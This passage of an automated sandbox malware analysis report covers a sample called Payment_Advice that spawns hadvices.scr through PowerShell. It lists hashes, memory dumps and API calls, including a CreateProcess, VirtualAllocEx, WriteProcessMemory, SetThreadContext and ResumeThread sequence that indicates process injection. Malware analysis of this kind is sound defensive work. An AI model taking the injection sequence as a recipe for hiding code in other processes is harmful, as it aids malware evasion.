Opcode ID: b1167d0687bed46e093f8ab5fe460e6420eba81e54db401aeab1c784aeeec1fc
Instruction ID: c9816872bdd86c647b9bbb3b065009bce871534b551d6c686b05325cb1d870d8
Opcode Fuzzy Hash: b1167d0687bed46e093f8ab5fe460e6420eba81e54db401aeab1c784aeeec1fc
Instruction Fuzzy Hash: 16F0E232804710EBC6201B65AC48FDBBB78DF44723726883FF94573192C738A8808E6D

Uniqueness

Uniqueness Score: -1.00%

Function 0040937A Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 115COMMON

Download Yara Rule

APIs

Part of subcall function 0040CF28: TlsGetValue.KERNEL32(?,004094C5), ref: 0040CF2F
Part of subcall function 0040CF28: RtlAllocateHeap.NTDLL(00000008), ref: 0040CF4A
Part of subcall function 0040CF28: TlsSetValue.KERNEL32(00000000,?,?,004094C5), ref: 0040CF59

GetCommandLineW.KERNEL32(?,?,?,?,?,?,004094D8,00000000), ref: 00409394

Strings

", xrefs: 004093B6
, xrefs: 004093AE

Memory Dump Source

Source File: 00000002.00000002.1469746162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Payment_Advice.jbxd

Similarity

API ID: Value$AllocateCommandHeapLine
String ID: $"
API String ID: 565049335-3817095088
Opcode ID: fa9a74e3e17bce1985ebad787626fd7ba31f7d8c6f90120e3196dee43f12beff
Instruction ID: 69e458bc51ecb7c25a8df227a80145383e7ec16cd8de15c0fb13cda22aad0e48
Opcode Fuzzy Hash: fa9a74e3e17bce1985ebad787626fd7ba31f7d8c6f90120e3196dee43f12beff
Instruction Fuzzy Hash: 1F31C37250C3218ADB749F54981227733A1EBA1B60F18813FE8926B3C2E3B94D42C769

Uniqueness

Uniqueness Score: -1.00%

Function 00409B0F Relevance: 5.0, APIs: 4, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00409D5A: memset.MSVCRT ref: 00409DC2

Part of subcall function 0040D586: RtlEnterCriticalSection.NTDLL(004175FC), ref: 0040D59A
Part of subcall function 0040D586: HeapFree.KERNEL32(00000000,?,?,00409B28,?,00000200,?,?,00409A2F,00000200,?,?,?,004010C3,00000004,00000015), ref: 0040D5E8
Part of subcall function 0040D586: RtlLeaveCriticalSection.NTDLL(004175FC), ref: 0040D5EF

HeapFree.KERNEL32(00000000,?,?,00000200,?,?,00409A2F,00000200,?,?,?,004010C3,00000004,00000015,00000000,00000200), ref: 00409B3A
HeapFree.KERNEL32(00000000,?,?,?,00409A2F,00000200,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200,FFFFFFF5), ref: 00409B46
HeapFree.KERNEL32(00000000,?,?,?,?,00409A2F,00000200,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200), ref: 00409B5A
HeapFree.KERNEL32(00000000,00000000,?,?,00409A2F,00000200,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200,FFFFFFF5), ref: 00409B70

Memory Dump Source

Source File: 00000002.00000002.1469746162.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Payment_Advice.jbxd

Similarity

API ID: FreeHeap$CriticalSection$EnterLeavememset
String ID:
API String ID: 4254243056-0
Opcode ID: b07a0de3bc2a029a6d32c3f1ef181170ed56332f7289932ba5d1534fa1d824b7
Instruction ID: 705666720bf26b0174e90ab05c41c8e8142486a7e985717f40232ec06a4cc210
Opcode Fuzzy Hash: b07a0de3bc2a029a6d32c3f1ef181170ed56332f7289932ba5d1534fa1d824b7
Instruction Fuzzy Hash: 36F0C931601515BFC7116B1AFD80D56BFADFF46798352822AB41462631C736FC219AA8

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: powershell.exePID: 4912, Parent PID: 2436COMMON

Executed Functions

Function 00007FFAACCA33B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1465749796.00007FFAACCA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAACCA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffaacca0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76d70864090ee490991c90939bad70b8686d9afa50a49723ed7ebb2cc1aa164d
Instruction ID: 141d00dcf02e0b8f29e4104d0b8054a5580f9ba0704c2e0073df697dd715e98f
Opcode Fuzzy Hash: 76d70864090ee490991c90939bad70b8686d9afa50a49723ed7ebb2cc1aa164d
Instruction Fuzzy Hash: 1D01447115CB088FD744EF0CE455AA5B7E0FB99364F10056DE58AC3661DA26E882CB45

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: hadvices.scrPID: 3024, Parent PID: 4912COMMON

Execution Graph

Execution Coverage:	5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	25
Total number of Limit Nodes:	1

Executed Functions

Function 01579B1C Relevance: 1.7, APIs: 1, Instructions: 223
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 0157B729

Memory Dump Source

Source File: 00000017.00000002.1414092558.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_1570000_hadvices.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: b3f9a9129457d0d3aa3b868523903c0cad127dff11f1e3bf8a83e40ea7105e3a
Instruction ID: 5fc9591535a30395c44c81dfea0d120215c81c9bc3e7b0547808be2b4f7a6f61
Opcode Fuzzy Hash: b3f9a9129457d0d3aa3b868523903c0cad127dff11f1e3bf8a83e40ea7105e3a
Instruction Fuzzy Hash: 0681CF75C002698FDB25CFA9D884BDDBBF5BB09300F1491AAE509B7260EB309A85CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0157A600 Relevance: 1.6, APIs: 1, Instructions: 116
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 0157A6D3

Memory Dump Source

Source File: 00000017.00000002.1414092558.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_1570000_hadvices.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 44a4de7640ba37c76b2da2f782b564b330e166c182780cafba7e1c326abe3c6e
Instruction ID: b41f12c7b565fdc41dd49c9e848454e35b3f8e14faff430754d4a54ff99e52c8
Opcode Fuzzy Hash: 44a4de7640ba37c76b2da2f782b564b330e166c182780cafba7e1c326abe3c6e
Instruction Fuzzy Hash: 0D41CAB4D012589FCF10CFA9D984ADEFBF1BB49310F14902AE819BB240D735AA41CF64

Uniqueness

Uniqueness Score: -1.00%

Function 01579B40 Relevance: 1.6, APIs: 1, Instructions: 103
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 0157BA35

Memory Dump Source

Source File: 00000017.00000002.1414092558.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_1570000_hadvices.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 2b546869acb12ad15963f315f9a43acd6b379fe1caba31924dfc844d4d966c6c
Instruction ID: d3ab5d80d3b3b944703677869748bfdef55c341d0e70c8d1df3e35559adc9165
Opcode Fuzzy Hash: 2b546869acb12ad15963f315f9a43acd6b379fe1caba31924dfc844d4d966c6c
Instruction Fuzzy Hash: DF4177B9D042589FCF10DFAAE984ADEFBB1BB19310F10902AE814BB210D375A945CF64

Uniqueness

Uniqueness Score: -1.00%

Function 0157A758 Relevance: 1.6, APIs: 1, Instructions: 101
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 0157A802

Memory Dump Source

Source File: 00000017.00000002.1414092558.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_1570000_hadvices.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 7517d2de4889325f635aea36db0a4c9aa6cef213428cf456928853b1a0e65dd6
Instruction ID: 3ed258743b3480573dc9668baa83987f1680b7464cadf893e54ea7ba54caeeb4
Opcode Fuzzy Hash: 7517d2de4889325f635aea36db0a4c9aa6cef213428cf456928853b1a0e65dd6
Instruction Fuzzy Hash: 883198B8D002589FCF10CFA9D985ADEFBB1BB49310F14942AE815BB310D735A902CF58

Uniqueness

Uniqueness Score: -1.00%

Function 0157A4D8 Relevance: 1.6, APIs: 1, Instructions: 94
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 0157A587

Memory Dump Source

Source File: 00000017.00000002.1414092558.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_1570000_hadvices.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: cb4014c715cc67653ea7134b084d2ec537687493dcd3fc3e07dc013ef7624497
Instruction ID: 936b35e48ea32821ab25f6de336c7baf98c4e9e9795110ff8efdb9e4eb3ec0f7
Opcode Fuzzy Hash: cb4014c715cc67653ea7134b084d2ec537687493dcd3fc3e07dc013ef7624497
Instruction Fuzzy Hash: E931BBB4D012589FDF14DFAAD885AEEFBF1BB49310F14802AE415BB240D738A945CF54

Uniqueness

Uniqueness Score: -1.00%

Function 01579B28 Relevance: 1.6, APIs: 1, Instructions: 91
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64GetThreadContext.KERNEL32(?,?), ref: 0157B922

Memory Dump Source

Source File: 00000017.00000002.1414092558.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_1570000_hadvices.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 38514ce5738f674b4c78cd85b9729852e7477e08ec3177ab1b0a28ebce7b152a
Instruction ID: 8644220b25f7eedff44bb985e05f56178e7fb56779f8f785c78e0e3a0078ccf8
Opcode Fuzzy Hash: 38514ce5738f674b4c78cd85b9729852e7477e08ec3177ab1b0a28ebce7b152a
Instruction Fuzzy Hash: A631ABB5D012589FCB10CFAAE485AEEFBF1BB08314F14902AE418BB350D378A945CF64

Uniqueness

Uniqueness Score: -1.00%

Function 0157A878 Relevance: 1.6, APIs: 1, Instructions: 73
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNELBASE(?), ref: 0157A8F6

Memory Dump Source

Source File: 00000017.00000002.1414092558.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_1570000_hadvices.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 77c273a9a0023fcca4bb5698e5d9dc92d1862ebfc97516a8a1c0cc8764339ea4
Instruction ID: f47aa2e7d45e2c4418fc9f82ad9963c5b77d1babc3614fc5d3071ac430fcff0e
Opcode Fuzzy Hash: 77c273a9a0023fcca4bb5698e5d9dc92d1862ebfc97516a8a1c0cc8764339ea4
Instruction Fuzzy Hash: 5131AAB4D013189FDB24CFAAE885A9EFBF5BB49310F14942AE815B7340D735A902CF58

Uniqueness

Uniqueness Score: -1.00%

Function 0111D5B8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.1412369316.000000000111D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0111D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_111d000_hadvices.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e90dbda22ba9a1a2a14769e263c08977c163c1c2d1a739aeeac06aee475406c6
Instruction ID: 95c816adaf4f9aaedfdfc75b97680b5f9f3ff34d015045fe496e2781c71a463e
Opcode Fuzzy Hash: e90dbda22ba9a1a2a14769e263c08977c163c1c2d1a739aeeac06aee475406c6
Instruction Fuzzy Hash: F12103B1504200DFDF19DF54E9C8B16FF65FB84324F208979E8090B24AC336D456CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 0111D5B3 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.1412369316.000000000111D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0111D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_111d000_hadvices.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 099256442a3ab3004f72329a4e4b6c70090b87d396c4978555b43c732be305a7
Instruction ID: f91dfb1285eeb5338708913e5bb3c2b49cbabc144312c08a3746ae33ffb31f83
Opcode Fuzzy Hash: 099256442a3ab3004f72329a4e4b6c70090b87d396c4978555b43c732be305a7
Instruction Fuzzy Hash: 9411AF76504240CFCF1ACF54D9C4B16FF62FB84324F2486A9D8090B25BC336D456CBA1

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: hadvices.scrPID: 8336, Parent PID: 3024COMMON

Execution Graph

Execution Coverage:	14.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	52
Total number of Limit Nodes:	9

Executed Functions

Function 0177B388 Relevance: 6.6, Strings: 5, Instructions: 345
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

LjEp, xrefs: 0177B745
PHq, xrefs: 0177B7B8
LjEp, xrefs: 0177B72F
PHq, xrefs: 0177B7A7
0oEp, xrefs: 0177B5C2

Memory Dump Source

Source File: 00000019.00000002.2454796306.0000000001770000.00000040.00000800.00020000.00000000.sdmp, Offset: 01770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_1770000_hadvices.jbxd

Similarity

API ID:
String ID: 0oEp$LjEp$LjEp$PHq$PHq
API String ID: 0-3801734409
Opcode ID: 13e78da045e626b1b64eddc5d368fb2c3e58258c6d5fa2b9157aa5f7ee2f8b45
Instruction ID: bf1440b4e3f887bd79c02f63a5fb210549955f730308c13984ca688e9437979c
Opcode Fuzzy Hash: 13e78da045e626b1b64eddc5d368fb2c3e58258c6d5fa2b9157aa5f7ee2f8b45
Instruction Fuzzy Hash: 88E1D575A00218CFDB14DFA9D984A9DFBB2FF89310F1580A9E919AB361DB30AD41CF50

Uniqueness

Uniqueness Score: -1.00%

Function 0177BF10 Relevance: 6.5, Strings: 5, Instructions: 208
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PHq, xrefs: 0177C167
0oEp, xrefs: 0177BF82
PHq, xrefs: 0177C178
LjEp, xrefs: 0177C105
LjEp, xrefs: 0177C0EF

Memory Dump Source

Source File: 00000019.00000002.2454796306.0000000001770000.00000040.00000800.00020000.00000000.sdmp, Offset: 01770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_1770000_hadvices.jbxd

Similarity

API ID:
String ID: 0oEp$LjEp$LjEp$PHq$PHq
API String ID: 0-3801734409
Opcode ID: b51effb803dfb12b9710269b4b6a74bdff1737ad232bd0db50fdd0756a2d9235
Instruction ID: b994af874eabc2d38dcc92c3ea52919c9fa104cbbe43fd1bc22ca6bb32575f26
Opcode Fuzzy Hash: b51effb803dfb12b9710269b4b6a74bdff1737ad232bd0db50fdd0756a2d9235
Instruction Fuzzy Hash: 6091C374E00208CFDB15DFAAD984A9DFBF2BF89314F1480A9E819AB355DB315982CF51

Uniqueness

Uniqueness Score: -1.00%

Function 0177C1F0 Relevance: 6.4, Strings: 5, Instructions: 189
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PHq, xrefs: 0177C447
LjEp, xrefs: 0177C3CF
LjEp, xrefs: 0177C3E5
0oEp, xrefs: 0177C262
PHq, xrefs: 0177C458

Memory Dump Source

Source File: 00000019.00000002.2454796306.0000000001770000.00000040.00000800.00020000.00000000.sdmp, Offset: 01770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_1770000_hadvices.jbxd

Similarity

API ID:
String ID: 0oEp$LjEp$LjEp$PHq$PHq
API String ID: 0-3801734409
Opcode ID: 5abf784058dfbbbbe9c958dec7276bec7ce24d32a03eb6ad0e2e050ad23b339d
Instruction ID: bea8d358195892704fdc7582dcfb451b7ef2c8c202e69d3ed7f6cf394b50fb99
Opcode Fuzzy Hash: 5abf784058dfbbbbe9c958dec7276bec7ce24d32a03eb6ad0e2e050ad23b339d
Instruction Fuzzy Hash: EC81B274E04219CFEB15DFAAD884A9DFBF2BF89310F148069E809AB365DB349941CF51

Uniqueness

Uniqueness Score: -1.00%

Function 0177CA92 Relevance: 6.4, Strings: 5, Instructions: 187
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PHq, xrefs: 0177CCE7
LjEp, xrefs: 0177CC6F
LjEp, xrefs: 0177CC85
0oEp, xrefs: 0177CB02
PHq, xrefs: 0177CCF8

Memory Dump Source

Source File: 00000019.00000002.2454796306.0000000001770000.00000040.00000800.00020000.00000000.sdmp, Offset: 01770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_1770000_hadvices.jbxd

Similarity

API ID:
String ID: 0oEp$LjEp$LjEp$PHq$PHq
API String ID: 0-3801734409
Opcode ID: 9c3e4f7525bcbbf27d0bdfa36052fa6136799ea04329cb14df110e04fc14f02c
Instruction ID: a91dc1bfac847f9bfdce613e8026bd0ca77e964a103622bb222a2d72a70cbb82
Opcode Fuzzy Hash: 9c3e4f7525bcbbf27d0bdfa36052fa6136799ea04329cb14df110e04fc14f02c
Instruction Fuzzy Hash: 8781C474E00209CFDB15DFAAD984A9DFBF2BF89301F1480A9E809AB365DB349945CF50

Uniqueness

Uniqueness Score: -1.00%

Function 0177C4D0 Relevance: 6.4, Strings: 5, Instructions: 185
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PHq, xrefs: 0177C738
PHq, xrefs: 0177C727
0oEp, xrefs: 0177C542
LjEp, xrefs: 0177C6AF
LjEp, xrefs: 0177C6C5

Memory Dump Source

Source File: 00000019.00000002.2454796306.0000000001770000.00000040.00000800.00020000.00000000.sdmp, Offset: 01770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_1770000_hadvices.jbxd

Similarity

API ID:
String ID: 0oEp$LjEp$LjEp$PHq$PHq
API String ID: 0-3801734409
Opcode ID: cf57290e52299de6af2e35cb9358ac62f9f0e16e807bb18e7f6c7b4c8619ef5f
Instruction ID: cb2bd99ef33340d68d4f0d56187defeff6776550e2c391e88b6d2f80e0a3e694
Opcode Fuzzy Hash: cf57290e52299de6af2e35cb9358ac62f9f0e16e807bb18e7f6c7b4c8619ef5f
Instruction Fuzzy Hash: F981B274E002089FEB14DFAAD984A9DFBF2BF88310F14D069E409AB365DB345941CF51

Uniqueness

Uniqueness Score: -1.00%

Function 0177BC32 Relevance: 6.4, Strings: 5, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PHq, xrefs: 0177BE98
0oEp, xrefs: 0177BCA2
LjEp, xrefs: 0177BE0F
PHq, xrefs: 0177BE87
LjEp, xrefs: 0177BE25

Memory Dump Source

Source File: 00000019.00000002.2454796306.0000000001770000.00000040.00000800.00020000.00000000.sdmp, Offset: 01770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_1770000_hadvices.jbxd

Similarity

API ID:
String ID: 0oEp$LjEp$LjEp$PHq$PHq
API String ID: 0-3801734409
Opcode ID: 28e25762e749354c534523e8a0b6c798461ae30e056102f6fcd1ebca5529ef96
Instruction ID: b1bc6410c824bc83d04e565f022946f0fc59b3c9b0a400d3f96179d7a7d73a7c
Opcode Fuzzy Hash: 28e25762e749354c534523e8a0b6c798461ae30e056102f6fcd1ebca5529ef96
Instruction Fuzzy Hash: F581A074E002088FEB14DFAAD984A9DFBF2BF88311F148069E909AB365DB745981CF51

Uniqueness

Uniqueness Score: -1.00%

Function 0177C7B2 Relevance: 6.4, Strings: 5, Instructions: 183
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PHq, xrefs: 0177CA07
PHq, xrefs: 0177CA18
LjEp, xrefs: 0177C98F
0oEp, xrefs: 0177C822
LjEp, xrefs: 0177C9A5

Memory Dump Source

Source File: 00000019.00000002.2454796306.0000000001770000.00000040.00000800.00020000.00000000.sdmp, Offset: 01770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_1770000_hadvices.jbxd

Similarity

API ID:
String ID: 0oEp$LjEp$LjEp$PHq$PHq
API String ID: 0-3801734409
Opcode ID: 18c2675182403841c21b7974e811c57f2988ab6d22105c8426b5c0381fa8d081
Instruction ID: 3f97a644c857621f7698501ec1dbf8b12d84f1e0c13421ec6ad33ac38645beb6
Opcode Fuzzy Hash: 18c2675182403841c21b7974e811c57f2988ab6d22105c8426b5c0381fa8d081
Instruction Fuzzy Hash: 6781B374E00219DFEB54DFAAD984A9DFBF2BF88311F148069E409AB355DB349981CF50

Uniqueness

Uniqueness Score: -1.00%

Function 01774B31 Relevance: 6.4, Strings: 5, Instructions: 183
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PHq, xrefs: 01774D99
0oEp, xrefs: 01774BA2
LjEp, xrefs: 01774D26
LjEp, xrefs: 01774D10
PHq, xrefs: 01774D88

Memory Dump Source

Source File: 00000019.00000002.2454796306.0000000001770000.00000040.00000800.00020000.00000000.sdmp, Offset: 01770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_1770000_hadvices.jbxd

Similarity

API ID:
String ID: 0oEp$LjEp$LjEp$PHq$PHq
API String ID: 0-3801734409
Opcode ID: 50de3461691fa03481525c94551b6ed10f340d544eb3a843ff7c8856f0afec65
Instruction ID: 7c7996507e66e892e19de04b3cc97872d3ab7b2dee90318f4a40bd6c4c9d6d7e
Opcode Fuzzy Hash: 50de3461691fa03481525c94551b6ed10f340d544eb3a843ff7c8856f0afec65
Instruction Fuzzy Hash: DE818074E00218DFEB14DFAAD984A9DFBF2BF88311F148069E819AB365DB345981CF51

Uniqueness

Uniqueness Score: -1.00%

Function 01776790 Relevance: 5.4, Strings: 4, Instructions: 437
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(oq, xrefs: 017769E8
(oq, xrefs: 017769DA
,q, xrefs: 01776A60
,q, xrefs: 01776A52

Memory Dump Source

Source File: 00000019.00000002.2454796306.0000000001770000.00000040.00000800.00020000.00000000.sdmp, Offset: 01770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_1770000_hadvices.jbxd

Similarity

API ID:
String ID: (oq$(oq$,q$,q
API String ID: 0-620556200
Opcode ID: 185d31feeb2eb9a1132fd6a624918381402e8eb54c6d2fd82de7057ae56dec3c
Instruction ID: 84a42a40e3df0ec286ea7c453ce7d99ced4b48f97589db464401d626b2790acc
Opcode Fuzzy Hash: 185d31feeb2eb9a1132fd6a624918381402e8eb54c6d2fd82de7057ae56dec3c
Instruction Fuzzy Hash: FF024970A006199FEF14DFA9C984AAEFBB2FF89310F158069F515AB269D730EC41CB50

Uniqueness

Uniqueness Score: -1.00%

Function 01667550 Relevance: 4.6, Strings: 3, Instructions: 804
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Teq, xrefs: 01667E65
p@q, xrefs: 01667600
Teq, xrefs: 01667E8C

Memory Dump Source

Source File: 00000019.00000002.2453885450.0000000001660000.00000040.00000800.00020000.00000000.sdmp, Offset: 01660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_1660000_hadvices.jbxd

Similarity

API ID:
String ID: Teq$Teq$p@q
API String ID: 0-1517855525
Opcode ID: 346a047af7ca71335e63075121a3c007e3a93bbc97e86cd6765b5d363e59fb94
Instruction ID: 10c155802489507ae2911425b7b42a98ee91819a70116bc7642a17e0e1bba3b5
Opcode Fuzzy Hash: 346a047af7ca71335e63075121a3c007e3a93bbc97e86cd6765b5d363e59fb94
Instruction Fuzzy Hash: 3882AF74A012298FDB65DF25C994BD9BBB2FF89301F1081E9D909A7364CB35AE81CF44

Uniqueness

Uniqueness Score: -1.00%

Function 0177B552 Relevance: 3.9, Strings: 3, Instructions: 151
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PHq, xrefs: 0177B7B8
PHq, xrefs: 0177B7A7
0oEp, xrefs: 0177B5C2

Memory Dump Source

Source File: 00000019.00000002.2454796306.0000000001770000.00000040.00000800.00020000.00000000.sdmp, Offset: 01770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_1770000_hadvices.jbxd

Similarity

API ID:
String ID: 0oEp$PHq$PHq
API String ID: 0-1671885247
Opcode ID: 9fae4aaad278d81803c5388e948326edbbffd944ad7a8ccc661a997e37c8afba
Instruction ID: 3a0527462bca5e5d86cd6432257cb0be900d68b522c4b216c5b7072f06b063a3
Opcode Fuzzy Hash: 9fae4aaad278d81803c5388e948326edbbffd944ad7a8ccc661a997e37c8afba
Instruction Fuzzy Hash: 5F618274E006089FEF18DFAAD984A9DFBF2BF88310F14806AE519AB365DB345941CF50

Uniqueness

Uniqueness Score: -1.00%

Function 017798B8 Relevance: 3.3, Strings: 2, Instructions: 844COMMON

Download Yara Rule

Strings

4'q, xrefs: 0177A2D3
(oq, xrefs: 01779CD8

Memory Dump Source

Source File: 00000019.00000002.2454796306.0000000001770000.00000040.00000800.00020000.00000000.sdmp, Offset: 01770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_1770000_hadvices.jbxd

Similarity

API ID:
String ID: (oq$4'q
API String ID: 0-1336004174
Opcode ID: d3850fc84615699070ae30c2ea0c92422092d5270620395a8d84e5844df65765
Instruction ID: 54a339fc3c53177cd29b5b2e2e91c62b03d24477d8831df34bb2494c4c2516e6
Opcode Fuzzy Hash: d3850fc84615699070ae30c2ea0c92422092d5270620395a8d84e5844df65765
Instruction Fuzzy Hash: 9172BD30A00219DFDF15CF68C984AAEFBF2FF89310F198559E9059B2A5D731E981CB60

Uniqueness

Uniqueness Score: -1.00%

Function 0166793B Relevance: 3.1, Strings: 2, Instructions: 571
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Teq, xrefs: 01667E65
Teq, xrefs: 01667E8C

Memory Dump Source

Source File: 00000019.00000002.2453885450.0000000001660000.00000040.00000800.00020000.00000000.sdmp, Offset: 01660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_1660000_hadvices.jbxd

Similarity

API ID:
String ID: Teq$Teq
API String ID: 0-2938103587
Opcode ID: efb83d8c4195c666e5fcc7a0658508c6a07c4e36490be9b6a08ba96507dcf90d
Instruction ID: 45de4112f631be24f9bc79799084bb72bfdfa6830629cd83d625a82635d0a266
Opcode Fuzzy Hash: efb83d8c4195c666e5fcc7a0658508c6a07c4e36490be9b6a08ba96507dcf90d
Instruction Fuzzy Hash: 0252AB74A01229CFDB64DF65C994BD9BBB2FB89301F1085E9D809A7364CB35AE81CF44

Uniqueness

Uniqueness Score: -1.00%

Function 01667939 Relevance: 3.1, Strings: 2, Instructions: 568
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Teq, xrefs: 01667E65
Teq, xrefs: 01667E8C

Memory Dump Source

Source File: 00000019.00000002.2453885450.0000000001660000.00000040.00000800.00020000.00000000.sdmp, Offset: 01660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_1660000_hadvices.jbxd

Similarity

API ID:
String ID: Teq$Teq
API String ID: 0-2938103587
Opcode ID: 00ce6c404cacd77374f34048f526edcc80d3a66af641c261f4af08f09ec4bd55
Instruction ID: 67d8717a6728dda59a05ac066eccb0f3d9505e2e78fdfb05c049190b3784a678
Opcode Fuzzy Hash: 00ce6c404cacd77374f34048f526edcc80d3a66af641c261f4af08f09ec4bd55
Instruction Fuzzy Hash: 5D52AA74A01228CFDB64DF65C994BD9BBB2FB89301F1085E9D809A7364CB35AE81CF44

Uniqueness

Uniqueness Score: -1.00%

Function 01776168 Relevance: 3.0, Strings: 2, Instructions: 515COMMON

Download Yara Rule

Strings

(oq, xrefs: 017766A2
Hq, xrefs: 0177656E

Memory Dump Source

Source File: 00000019.00000002.2454796306.0000000001770000.00000040.00000800.00020000.00000000.sdmp, Offset: 01770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_1770000_hadvices.jbxd

Similarity

API ID:
String ID: (oq$Hq
API String ID: 0-2917151738
Opcode ID: 6e2da592adbe0f106c5844e8128ef3eeec9edd0f16fc8791296da1ba35cf0680
Instruction ID: cd1cb2172c6752b7713c17a1fcd19eae667a477c1fd1df3996c86843fc53cd29
Opcode Fuzzy Hash: 6e2da592adbe0f106c5844e8128ef3eeec9edd0f16fc8791296da1ba35cf0680
